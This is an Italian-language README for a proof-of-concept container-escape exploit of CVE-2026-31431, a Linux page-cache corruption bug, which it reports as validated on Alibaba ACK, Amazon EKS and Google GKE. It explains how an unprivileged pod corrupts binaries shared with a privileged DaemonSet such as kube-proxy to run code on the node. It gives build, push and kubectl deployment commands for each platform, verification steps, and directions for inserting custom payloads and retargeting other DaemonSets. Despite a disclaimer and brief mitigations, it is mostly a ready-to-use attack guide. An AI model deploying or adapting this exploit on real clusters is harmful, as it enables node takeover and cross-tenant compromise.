
PoC: fuga da container completamente non privilegiata a esecuzione di codice a livello di nodo su Kubernetes tramite CVE-2026-31431 corruzione della cache delle pagine + livelli di immagini condivisi. Validato su Alibaba Cloud ACK, Amazon EKS e Google GKE.
Un proof-of-concept che dimostra come un container completamente non privilegiato possa ottenere esecuzione di codice a livello di nodo su Kubernetes sfruttando il bug di corruzione della page-cache del kernel Linux CVE-2026-31431 tramite layer di immagini condivise.
La primitiva di attacco principale è: qualsiasi DaemonSet privilegiato che condivide layer di immagini con un container controllato dall'attaccante può essere armato per l'escape dal container. Questo PoC utilizza kube-proxy come esempio concreto, ma la tecnica si generalizza a qualsiasi carico di lavoro privilegiato nel cluster.
Validato su Alibaba Cloud ACK, Amazon EKS e Google GKE — un pod non privilegiato scrive [*] success nel filesystem dell'host tramite il DaemonSet privilegiato kube-proxy:
| Alibaba Cloud ACK (kernel 6.6.88) | Amazon EKS (kernel 6.12.79) | Google GKE (kernel 6.12.68) |
|---|---|---|
![]() | ![]() | ![]() |
Nota: Questo repository è pubblicato solo a scopo educativo e difensivo. Utilizzalo esclusivamente su sistemi di tua proprietà o per i quali hai esplicita autorizzazione al test.
CVE-2026-31431 ("Copy Fail") è una vulnerabilità del kernel Linux nel percorso Copy-on-Write (CoW) della page-cache. Una race condition AF_ALG splice permette a un processo non privilegiato di corrompere le pagine della page-cache di un file sola lettura. La corruzione persiste nella cache delle pagine del kernel ed è visibile a qualsiasi processo che successivamente legge o esegue il file — inclusi i processi in altri container o sull'host.
Per tutti i dettagli sulla vulnerabilità originale, consulta copy.fail.
L'attacco sfrutta tre proprietà che comunemente coesistono nei cluster Kubernetes:
privileged: true, hostNetwork: true, capacità estese, ecc.) che eseguono periodicamente binari dalla loro immagine.Quando queste condizioni si allineano, un pod non privilegiato può corrompere un binario in un layer di immagine condiviso, e un DaemonSet privilegiato sullo stesso nodo eseguirà inconsapevolmente il binario corrotto con i suoi privilegi elevati — ottenendo la piena esecuzione di codice a livello di nodo.
Il bersaglio della vulnerabilità NON è limitato a kube-proxy. Qualsiasi DaemonSet privilegiato (agenti di monitoraggio, plugin CNI, collettori di log, agenti di sicurezza, ecc.) la cui immagine del container condivide layer con un'immagine controllata dall'attaccante è un bersaglio valido.
La catena di attacco ha tre fasi: corruzione della page-cache, propagazione cross-container ed esecuzione privilegiata.
Il sottosistema AF_ALG (crittografia) del kernel espone un'interfaccia basata su socket per operazioni crittografiche in spazio utente. L'exploit abusa di una race condition nel modo in cui il kernel gestisce splice() da un file in un socket AF_ALG:
authencesn(hmac(sha256),cbc(aes)).MSG_MORE, dicendo al kernel di aspettarsi più dati.splice() il contenuto del file target da un fd → pipe → socket AF_ALG.L'exploit ripete questa operazione per ogni finestra di 4 byte fino a quando tutte le pagine nella cache del binario target non vengono sovrascritte con un payload personalizzato.
Non è necessaria alcuna autorizzazione di scrittura sul file. Il file su disco rimane invariato — solo la cache delle pagine in memoria viene corrotta.
I runtime dei container utilizzano filesystem overlay. Quando due container condividono lo stesso layer di immagine, il kernel serve le letture dei loro file dalle stesse pagine della page-cache.
L'attaccante costruisce la propria immagine PoC FROM la stessa immagine base del DaemonSet privilegiato target. Poiché entrambi i container condividono lo stesso lower-dir overlay, i binari nel layer condiviso mappano a pagine della page-cache identiche.
Quando il container PoC non privilegiato corrompe la page-cache di un binario, la corruzione è immediatamente visibile al container privilegiato sullo stesso nodo — con zero comunicazione cross-container.
Quando il DaemonSet privilegiato esegue successivamente un binario corrotto (attraverso il suo normale ciclo operativo), il kernel carica le pagine corrotte della page-cache. Il payload dell'attaccante viene eseguito con tutti i privilegi del DaemonSet — includendo potenzialmente:
Il payload in questo PoC (payload/payload.c) monta semplicemente il filesystem root dell'host e scrive un file marker in /root/res come prova dell'esecuzione di codice a livello di nodo.
┌──────────────────────────┐ ┌──────────────────────────┐
│ Container PoC │ │ DaemonSet Privilegiato │
│ (non privilegiato) │ │ (es. kube-proxy, │
│ │ │ agente di monitoraggio)│
│ 1. Apri binario target │ │ │
│ (sola lettura) │ │ │
│ │ │ │
│ 2. Race condition │ │ │
│ AF_ALG splice │ │ │
│ corrompe page-cache │ │ │
│ │ │ │ │
└──────────┼───────────────┘ └──────────────────────────┘
│ │
▼ │
┌─────────────────────┐ │
│ Pagine del Kernel │ │
│ (Page Cache) │ │
│ │◄────────────────────┘
│ Binario del layer │ 3. Il DaemonSet esegue il
│ condiviso │ binario corrotto
│ (CORROTTO) │ → carica pagine corrotte
│ contiene byte │ → payload eseguito con
│ del payload │ privilegi del DaemonSet
└─────────────────────┘
Il PoC è stato validato con successo sulle seguenti piattaforme Kubernetes gestite:



In tutti e tre i casi, un pod PoC non privilegiato ha scritto con successo il file marker [*] success nel filesystem dell'host — dimostrando l'esecuzione di codice a livello di nodo tramite il DaemonSet privilegiato kube-proxy.
Per le guide complete (analisi dei layer di immagine, passaggi di build, distribuzione):
Questo PoC utilizza kube-proxy come target perché è uno dei DaemonSet privilegiati più comuni nei cluster Kubernetes. Sono fornite tre varianti:
FROM registry.k8s.io/kube-proxy:v1.35.2 (vedi Dockerfile)FROM public.ecr.aws/eks-distro-build-tooling/eks-distro-minimal-base-iptables:2026-03-11-1773190710.2023 (vedi Dockerfile.eks)FROM us-central1-artifactregistry.gcr.io/gke-release/gke-release/kube-proxy:v1.35.3-gke.1234000 (vedi Dockerfile.gke)Tutte le varianti corrompono binari come /usr/sbin/ipset, /usr/sbin/nft, /usr/sbin/xtables-legacy-multi e /usr/sbin/xtables-nft-multi.
Avvertenze importanti:
ipset solo quando configurato in modalità ipvs. La modalità predefinita (iptables) non utilizza ipset. Vedi kubernetes/enhancements#5495 per il piano di deprecazione di ipvs.ipset, nft, xtables-legacy-multi, xtables-nft-multi) per coprire diverse modalità proxy, ma se vengano invocati dipende dalla configurazione del cluster.Se kube-proxy non è privilegiato nel tuo cluster, il principio di attacco è comunque valido — devi solo identificare un diverso DaemonSet privilegiato che condivida layer di immagini con un'immagine base da cui puoi costruire.
Per adattare questo PoC a un diverso DaemonSet privilegiato:
FROM la stessa immagine base utilizzata da quel DaemonSet..
├── cmd/copyfail/main.go # Entry point; incorpora il payload compilato
├── internal/
│ ├── exploit/
│ │ ├── exploit.go # Exploit principale: ciclo di race condition AF_ALG splice
│ │ └── patch.go # Divide il payload in finestre di patch da 4 byte
│ └── alg/
│ └── alg.go # Astrazione del socket AF_ALG AEAD
├── payload/
│ ├── payload.c # Payload ACK/upstream (monta /dev/vda3 ext4)
│ ├── payload-eks.c # Payload EKS (rilevamento automatico NVMe/Xen)
│ ├── payload-gke.c # Payload GKE (rilevamento automatico COS/Ubuntu)
│ └── nolibc/ # Libc minimale del kernel per payload statici senza dipendenze
├── deploy/
│ ├── poc.yaml # Manifesto Deployment Kubernetes (ACK/upstream)
│ ├── poc-eks.yaml # Manifesto Deployment EKS
│ └── poc-gke.yaml # Manifesto Deployment GKE
├── Dockerfile # ACK/upstream: FROM registry.k8s.io/kube-proxy
├── Dockerfile.eks # EKS: FROM eks-distro-minimal-base-iptables
├── Dockerfile.gke # GKE: FROM gke-release/kube-proxy
├── Makefile # Orchestrazione build (include target *-eks e *-gke)
└── docs/
├── eks-poc.md # Guida completa PoC EKS
├── gke-poc.md # Guida completa PoC GKE
├── ack-poc-res.png # Screenshot validazione ACK
├── eks-poc-res.png # Screenshot validazione EKS
└── gke-poc-res.png # Screenshot validazione GKE
x86_64-linux-gnu-gcc)imagePullPolicy: IfNotPresent sul DaemonSet target (impostazione predefinita di Kubernetes)# Build payload + binario Go
make build
# Build immagine Docker
make docker-build
# Build e push su GHCR
make docker-push IMAGE=ghcr.io/<tuo>/copy-fail-poc TAG=latest
# Build payload EKS + binario Go + immagine Docker
make docker-build-eks
# Build e push su GHCR
make docker-push-eks IMAGE=ghcr.io/<tuo>/copy-fail-poc
Per target arm64 (Graviton):
make build-eks CC=aarch64-linux-gnu-gcc GOARCH=arm64
# Build payload GKE + binario Go + immagine Docker
make docker-build-gke
# Build e push su GHCR
make docker-push-gke IMAGE=ghcr.io/<tuo>/copy-fail-poc
Per nodi arm64:
make docker-build-gke CC=aarch64-linux-gnu-gcc GOARCH=arm64 PLATFORM=linux/arm64
# ACK / upstream Kubernetes
kubectl apply -f deploy/poc.yaml
# Amazon EKS
kubectl apply -f deploy/poc-eks.yaml
# Google GKE
kubectl apply -f deploy/poc-gke.yaml
Il Deployment crea un singolo pod non privilegiato. Questo:
/bin/copyfail per corrompere la page-cache dei binari target nel layer di immagine condiviso.Dopo che il DaemonSet privilegiato target esegue un binario corrotto (per kube-proxy, questo avviene in genere entro secondi grazie al suo ciclo di riconciliazione), controlla il nodo:
# SSH nel nodo, oppure usa un pod debug privilegiato
# ACK / EKS (filesystem root scrivibile)
cat /root/res
# Output atteso: [*] success
# Nodi COS GKE (root sola lettura, partizione statale scrivibile)
cat /mnt/stateful_partition/copyfail-res
# Output atteso: [*] success
La presenza del file marker sul filesystem dell'host prova che il codice fornito dall'attaccante è stato eseguito con privilegi a livello di nodo — dal contesto del container del DaemonSet privilegiato.
kubectl delete -f deploy/poc.yaml # oppure poc-eks.yaml / poc-gke.yaml
# Sul(i) nodo(i) interessato(i), rimuovi il marker e riavvia il DaemonSet target:
rm -f /root/res # ACK / EKS
rm -f /copyfail-res /mnt/stateful_partition/copyfail-res # Nodi COS GKE
# Per kube-proxy: elimina il pod per forzare la rilettura del layer di immagine
kubectl delete pod -n kube-system -l k8s-app=kube-proxy --field-selector spec.nodeName=<nodo>
Il payload predefinito (payload/payload.c) è un programma solo di validazione che scrive un file marker. Per costruire un payload personalizzato:
payload/payload.c. Il programma è compilato con nolibc (la libreria C minima del kernel) per un binario statico, senza dipendenze.make payload per cross-compilare.//go:embed.privileged: true.AF_ALG. La regola è disponibile tramite gli enforcer AppArmor e BPF.tools/include/nolibc/)Il codice Go dell'exploit in questo repository è fornito così com'è a scopo di ricerca.
Il payload (payload/payload.c) è derivato da copy-fail-c ed è concesso in doppia licenza LGPL-2.1-or-later OR MIT. Vedi LICENSE-LGPL e LICENSE-MIT.
| Proprietà | Valore |
|---|
| Piattaforma | Alibaba Cloud Container Service for Kubernetes (ACK) |
| Kubernetes | v1.35.2 |
| Kernel del Nodo | 6.6.88-4.2.alnx4.x86_64 |
| kube-proxy | registry-cn-*.ack.aliyuncs.com/acs/kube-proxy:v1.35.2-aliyun.1 |
| Immagine Base | registry.k8s.io/kube-proxy:v1.35.2 (upstream) |
| Dispositivo di Root | /dev/vda3 (ext4) |
| Proprietà | Valore |
|---|
| Piattaforma | Amazon Elastic Kubernetes Service (EKS) |
| Kubernetes | v1.35.4 |
| Kernel del Nodo | 6.12.79-101.147.amzn2023.x86_64 |
| kube-proxy | ***.dkr.ecr.***.amazonaws.com.cn/eks/kube-proxy:v1.35.3-eksbuild.2 |
| Immagine Base | public.ecr.aws/eks-distro-build-tooling/eks-distro-minimal-base-iptables:2026-03-11-1773190710.2023 |
| Dispositivo di Root | /dev/nvme0n1p1 (xfs) |
| Proprietà | Valore |
|---|
| Piattaforma | Google Kubernetes Engine (GKE) |
| Kubernetes | v1.35.3-gke.1234000 |
| OS del Nodo | Container-Optimized OS (COS) 125, BUILD_ID 19216.220.72 |
| Kernel del Nodo | 6.12.68+ x86_64 |
| kube-proxy | us-central1-artifactregistry.gcr.io/gke-release/gke-release/kube-proxy:v1.35.3-gke.1234000 |
| Immagine Base | Stessa di kube-proxy (immagine gestita da GKE su Artifact Registry) |
| Dispositivo di Root | /dev/dm-0 (ext2, sola lettura); /dev/sda1 (ext4, partizione statale scrivibile) |
| Percorso del Marker | /mnt/stateful_partition/copyfail-res |